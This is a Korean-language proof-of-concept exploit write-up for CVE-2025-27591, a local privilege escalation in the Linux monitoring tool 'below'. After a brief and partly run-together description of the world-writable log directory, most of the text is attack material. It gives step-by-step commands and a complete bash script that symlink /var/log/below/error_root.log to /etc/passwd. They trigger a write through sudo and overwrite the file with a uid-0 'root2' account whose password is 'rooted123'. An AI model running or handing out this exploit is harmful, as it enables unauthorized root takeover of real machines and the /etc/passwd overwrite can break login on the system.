
`below`를 통한 로컬 권한 상승 (CVE-2025-27591) - PoC 익스플로잇
Below는 하드웨어 사용률 및 cgroup 메트릭과 같은 시스템 데이터를 기록하고 표시하는 Linux 도구입니다.
v0.9.0 이전 버전에서 Below의 systemd 서비스는 root 권한으로 실행되며 /var/log/below 아래에 누구나 쓰기 가능한(world-writable) 로그 디렉터리와 파일을 생성합니다. 이러한 안전하지 않은 구성은 권한 없는 로컬 사용자가 root로 권한을 상승시킬 수 있는 심볼릭 링크 공격을 가능하게 합니다.
이 문제는 CVE-2025-27591로 지정되었습니다.
업스트림은 v0.9.0에서 이를 수정했습니다.
/var/log/below에서의 심볼릭 링크 공격/var/log/below의 권한을 0777로 설정합니다./var/log/below/error_root.log를 0666 권한으로 생성합니다./etc/passwd)에 대한 심볼릭 링크로 대체할 수 있습니다.이 동작은 스티키 비트(sticky bit)가 적용되지 않아 커널의 protected_symlinks 강화를 우회합니다.
error_root.log를 /etc/passwd로 연결하면 알려진 비밀번호를 가진 새로운 root 사용자를 주입할 수 있습니다.
1단계: /etc/passwd 백업 생성.
시스템 파일을 수정하기 전에 항상 백업하세요:
cp /etc/passwd /tmp/passwd.bak
2단계: 악성 사용자 항목 생성
HASH=$(openssl passwd -6 'rooted123')
echo "root2:$HASH:0:0:root:/root:/bin/bash" > /tmp/payload
3단계: 취약한 로그에 심볼릭 링크 생성
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
4단계: 로그 생성 유발
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
5단계: /etc/passwd 덮어쓰기
cat /tmp/payload > /var/log/below/error_root.log
6단계: 새로운 root 사용자로 전환
su root2
# password: rooted123
#!/bin/bash
# CVE-2025-27591 Exploit - Privilege Escalation via 'below'
TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"
echo "[*] CVE-2025-27591 Privilege Escalation Exploit"
# Check for sudo access to below
echo "[*] Checking sudo permissions..."
if ! sudo -l | grep -q '/usr/bin/below'; then
echo "[!] 'below' is not available via sudo. Exiting."
exit 1
fi
# Backup current /etc/passwd
echo "[*] Backing up /etc/passwd to $BACKUP"
cp /etc/passwd "$BACKUP"
# Generate password hash for 'root2' user (password: rooted123)
echo "[*] Generating password hash..."
HASH=$(openssl passwd -6 'rooted123')
# Prepare malicious passwd line
echo "[*] Creating malicious passwd line..."
echo "root2:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"
# Create symlink
echo "[*] Linking $LINK_PATH to $TARGET"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"
# Trigger log creation with invalid --time to force below to recreate the log
echo "[*] Triggering 'below' to write to symlinked log..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
# Overwrite passwd file via symlink
echo "[*] Injecting malicious user into /etc/passwd"
cat "$TMP_PAYLOAD" > "$LINK_PATH"
# Test access
echo "[*] Try switching to 'root2' using password: rooted123"
su root2
